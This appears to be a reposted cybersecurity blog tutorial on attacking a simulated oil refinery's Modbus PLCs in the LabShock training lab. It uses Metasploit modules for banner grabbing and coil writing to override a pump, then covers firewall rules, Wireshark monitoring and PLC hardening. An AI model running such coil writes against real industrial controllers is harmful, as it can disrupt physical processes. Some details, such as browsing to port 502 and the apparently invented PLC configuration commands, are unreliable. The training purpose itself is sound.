Hacking a Virtual Oil Refinery: A Hands-On Guide to OT/ICS Cybersecurity

Listen to this Post

Featured Image

Introduction:

Operational Technology (OT) and Industrial Control Systems (ICS) are critical to industries like energy, manufacturing, and utilities—but they’re also prime targets for cyberattacks. In this guide, we’ll explore a simulated attack on a virtual oil refinery using LabShock, demonstrating how attackers exploit Modbus PLCs to disrupt operations. Whether you’re a cybersecurity professional, homelab enthusiast, or just curious about OT security, this walkthrough will sharpen your skills.

Learning Objectives:

  • Understand how attackers exploit OT/ICS systems.
  • Learn hands-on techniques for securing Modbus PLCs.
  • Simulate an attack using LabShock and analyze defensive measures.

1. Setting Up LabShock for OT Security Testing

LabShock (https://lnkd.in/eHCZkCPj) is an open-source platform for ICS/OT security training. Here’s how to deploy it:

Step-by-Step Setup:

1. Download LabShock:

git clone https://github.com/labshock/labshock-ics.git 
cd labshock-ics 

2. Deploy the Virtual Oil Refinery:

docker-compose up -d 

3. Access the Modbus PLC Interface:

Navigate to `http://localhost:502` (default LabShock port).

This simulates a refinery’s control system, including pumps, valves, and sensors—ideal for attack simulations.

2. Exploiting Modbus PLCs with Metasploit

Modbus, a common ICS protocol, is often unauthenticated—making it vulnerable to command injection.

Step-by-Step Attack:

1. Launch Metasploit:

msfconsole 

2. Load the Modbus Module:

use auxiliary/scanner/scada/modbus_banner_grabbing 
set RHOSTS <target_IP> 
run 

3. Manipulate PLC Registers (e.g., Toggle Pump 1):

use auxiliary/admin/scada/modbus_write_coil 
set COIL 0 
set VALUE 1 
exploit 

This command flips Coil 0, simulating an attacker overriding pump controls.

3. Defending Against Modbus Attacks

Mitigation Steps:

1. Enable Modbus/TCP Security:

 Configure firewall rules to restrict Modbus traffic 
sudo iptables -A INPUT -p tcp --dport 502 -s <trusted_IP> -j ACCEPT 
sudo iptables -A INPUT -p tcp --dport 502 -j DROP 

2. Implement Network Segmentation:

Isolate OT networks from IT systems using VLANs or air gaps.

4. Detecting Anomalies with Wireshark

Monitor Modbus traffic for malicious activity:

1. Capture Traffic:

sudo wireshark -k -i eth0 -Y "modbus" 

2. Look for Unusual Requests:

  • Frequent write commands to critical coils.
  • Requests from unauthorized IPs.

5. Hardening PLCs with Secure Configurations

1. Disable Unused Services:

 On Siemens PLCs (example): 
plc_config --disable-http --disable-ftp 

2. Update Firmware:

plc_firmware_update --latest 

What Undercode Say:

  • Key Takeaway 1: OT systems are highly vulnerable due to legacy protocols like Modbus.
  • Key Takeaway 2: Hands-on labs like LabShock bridge the gap between theory and real-world attacks.

Analysis:

The rise of IT/OT convergence means more attack surfaces. While red-team exercises help identify flaws, blue teams must prioritize network segmentation, anomaly detection, and protocol encryption.

Prediction:

As OT systems increasingly connect to cloud and IoT networks, attacks like PLC bricking or ransomware-induced shutdowns will surge. Proactive defense—through zero-trust architectures and AI-driven anomaly detection—will be critical.

Ready to test your skills? Dive into LabShock (https://lnkd.in/eEtUY-HC) and share your findings!

Tags: Cybersecurity OTSecurity ICS Modbus Homelab CyberLab

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Nick Foulon – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky